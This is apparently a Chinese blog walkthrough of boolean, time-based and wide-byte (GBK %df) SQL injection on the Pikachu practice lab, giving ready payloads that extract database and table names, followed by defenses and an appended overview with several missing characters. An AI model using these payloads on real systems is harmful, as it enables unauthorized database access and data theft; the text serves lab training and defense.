pikachu~~~布尔,时间,宽字节盲注

本文介绍了三种SQL注入方式。基于布尔的盲注,利用lenth()、substr()等函数取值运算;基于时间的盲注,借助sleep()函数判断;宽字节注入通过构造宽字符使单引号逃逸。还给出宽字节注入的防御方法,如指定字符集和转义。

目录

 

基于boolian的盲注

基于时间的盲注

wide byte注入


基于boolian的盲注

屏蔽了报错信息,只显示两种情况:正确和错误

输入单引号试探

输入and试一下

bool注入比较重要的是lenth()、substr()函数和ascii()函数这类取值和运算函数,substr()函数截取字符串的字母,通过ascii()函数转码成数字后就可以参与数学运算了。如:

select sustr(database(),1,1)>10

select ascii(sustr(database(),1,1))>10

select length(database())>10

开始注入:kobe' and ascii(substr(database(),1,1))>113#

若显示内容则后面表达式为真,否则为假

kobe' and ascii(substr(database(),1,1))=112#

 

kobe' and ascii(substr((select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA=database() limit 0,1),1,1))<112#

基于时间的盲注

如果说基于bool的注入可以基于0或者1来判断注入,那基于时间的盲注就是啥也看不到,你无法从显示的不同来判断你的语句是否执行。这时可以引入基于时间的盲注。

发现输入’会立即回显报错

利用sleep()

输入kobe' and sleep(3)

发现延迟3秒显示,所以存在sql时间注入的漏洞

即后面语句猜测正确即延迟,不正确立即回显。

kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

 

wide byte注入

 

输入注入字节后抓包

 

因为addslashes()函数的作用是在单引号等字符前加反斜杠('->\'),url编码后就是%5c%27.我们的payload的是【%df '】,在前面增加%df(%81-%fe之间都可),即%df%5c%27,此时数据库若使用GBK编码,则会认为%df%5c是一个宽字符,%27单引号便逃逸出来了。

order by字段查询,输入2时正常,输入3时报错,说明字段数为2

union 联合查询试下数据库:

查询表名:kobe%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

查询

'users'表名旁边需要单引号,所以可以用Burp将'users'进行转换为concat(char(39),char(117),char(115),char(101),char(114),char(115),char(39))

详细:https://blog.csdn.net/weixin_44426869/article/details/104341863?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522162271214816780366593073%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=162271214816780366593073&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_v2~rank_v29-9-104341863.first_rank_v2_pc_rank_v29&utm_term=pikachu%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5&spm=1018.2226.3001.4187

防御

对于宽字节编码,有一种最好的修补就是:

(1)使用mysql_set_charset(GBK)指定字符集

(2)使用mysql_real_escape_string进行转义

原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e5和5c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢?

就是使用mysql_set_charset进行指定。

上述的两个条件是“与”运算的关系,少一条都不行。

### 关于pikachu布尔漏洞利用 对于`pikachu`平台上的布尔攻击,其主要特征在于即使输入正确与否也不会引发明显的报错信息。当向应用程序发送请求时,在正常情况下页面会呈现一致的结果;然而通过附加特定条件(如`and 1=1` 或 `and 1=2`),可以根据响应的不同来推断后台数据库的状态[^2]。 为了验证是否存在这样的安全弱点,可以通过修改HTTP头部中的User-Agent字段为单引号的方式触发SQL语法异常,进而确认该处可能存在入风险[^4]。一旦确定了这一点,则可以进一步实施更复杂的逻辑操作以获取敏感数据或控制流路径。 #### 利用过程示例: 假设目标URL如下所示: ```plaintext http://example.com/pikachu-master/vul/sqli/sqli_blind.php?id=1 ``` 此时可构建如下测试载荷用于区分真假反馈机制: - 正常查询:`id=1 AND 1=1` - 错误查询:`id=1 AND 1=2` 如果两个条件下网页表现不同——例如前者能正常加载而后者无法访问或者内容发生变化——则表明这里很可能存在着布尔的可能性。 针对上述场景下的具体实践方法还包括但不限于使用IF语句配合时间延迟函数(如SLEEP())来进行逐字符猜测表名、列名乃至最终的数据值[^3]。这通常涉及到精心设计的嵌套表达式结构以及合理的错误处理策略,以便有效地绕过潜在的安全检测机制并逐步还原出完整的内部架构信息。 --- ### 防护措施建议 为了避免遭受此类攻击的影响,开发人员应当采取一系列预防性的编码习惯和技术手段: - **参数化查询**:始终采用预编译语句代替字符串拼接的方式来组装动态SQL指令,从而杜绝恶意代码入的机会。 - **最小权限原则**:确保Web应用所使用的数据库账户仅具备完成业务功能所需的最低限度的操作权利,减少因意外暴露而导致的危害范围。 - **输入校验与过滤**:严格审查所有来自客户端提交的信息,特别是那些可能影响到后端解析流程的部分,像特殊字符等应被适当转义或拒绝接收。 - **启用WAF(Web Application Firewall)**:部署专业的防火墙设备能够实时监控流量模式识别可疑行为,并及时阻断非法企图。 - **定期审计源码质量**:借助自动化工具扫描项目中存在的安全隐患点位,同时鼓励团队成员积极参与安全性培训课程提升整体意识水平。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值